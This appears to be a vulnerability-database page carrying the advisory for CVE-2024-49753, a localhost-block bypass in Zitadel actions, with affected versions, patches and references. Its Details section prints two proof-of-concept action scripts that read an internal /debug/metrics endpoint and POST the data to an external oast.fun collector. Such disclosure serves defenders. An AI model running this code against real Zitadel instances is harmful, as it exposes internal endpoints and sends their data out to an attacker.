CVE-2024-49753: Denied Host Validation Bypass in Zitadel Actions
Summary A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.
Published Oct 25, 2024 · Updated Jul 9, 2025
Affected packages
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- = 2.64.0
- Fixed in
- 2.64.1
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 2.63.0, < 2.63.6
- Fixed in
- 2.63.6
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 2.62.0, < 2.62.8
- Fixed in
- 2.62.8
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 2.61.0, < 2.61.4
- Fixed in
- 2.61.4
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 2.60.0, < 2.60.4
- Fixed in
- 2.60.4
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 2.59.0, < 2.59.5
- Fixed in
- 2.59.5
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- < 0.0.0-20241022141644-79fb4cc1cc6e
- Fixed in
- 0.0.0-20241022141644-79fb4cc1cc6e
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 1.80.1, < 2.58.7
- Fixed in
- 2.58.7
- Check
go list -m github.com/zitadel/zitadel
github.com/zitadel/zitadel
- Ecosystem
- Go
- Affected
- >= 0.0.0, < 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
- Fixed in
- 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
- Check
go list -m github.com/zitadel/zitadel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.
Details
While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.
The relevant action code demonstrates the attempted request to 127.0.0.1:
let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
var user = http.fetch('http://127.0.0.1:8080/debug/metrics');
var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
'data': user,
}),
});
logger.log(api_r.body);
}By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. image
The modified action code uses the custom domain instead of 127.0.0.1:
let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');
var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
'user': user,
}),
});
logger.log(api_r.body);
}image
This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. image
Impact
This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.
Patches
2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7
Workarounds
There is no workaround since a patch is already available.
Questions
If you have any questions or comments about this advisory, please email us at [[email protected]](mailto:[email protected])
Credits
Thanks to @prdp1137 for reporting this!
Credited to prdp1137, livio-a, fforootd.
References
- https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv
- https://nvd.nist.gov/vuln/detail/CVE-2024-49753
- https://github.com/zitadel/zitadel/releases/tag/v2.58.7
- https://github.com/zitadel/zitadel/releases/tag/v2.59.5
- https://github.com/zitadel/zitadel/releases/tag/v2.60.4
- https://github.com/zitadel/zitadel/releases/tag/v2.61.4
- https://github.com/zitadel/zitadel/releases/tag/v2.62.8
- https://github.com/zitadel/zitadel/releases/tag/v2.63.6
- https://github.com/zitadel/zitadel/releases/tag/v2.64.1
- https://github.com/advisories/GHSA-6cf5-w9h3-4rqv
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-85056
ZITADEL: MFA bypass via session reuse in Login V2
high8.2Sep 24, 2026CVE-2026-85057
ZITADEL: Actions V1 sandbox escape: host file read via require()
high8.7Sep 24, 2026CVE-2026-56668
ZITADEL: Unauthorized Token Privilege Escalation in OAuth2 Token Exchange
high8.1Sep 14, 2026CVE-2026-76081
ZITADEL: Improper Role Revocation on Granted Projects during Multiple Role Deletions
medium5.5Sep 14, 2026CVE-2026-56665
ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider
medium4.2Sep 11, 2026CVE-2026-56666
ZITADEL: Auto-linking by email: IdP-side email verification is not checked
medium4.8Sep 11, 2026
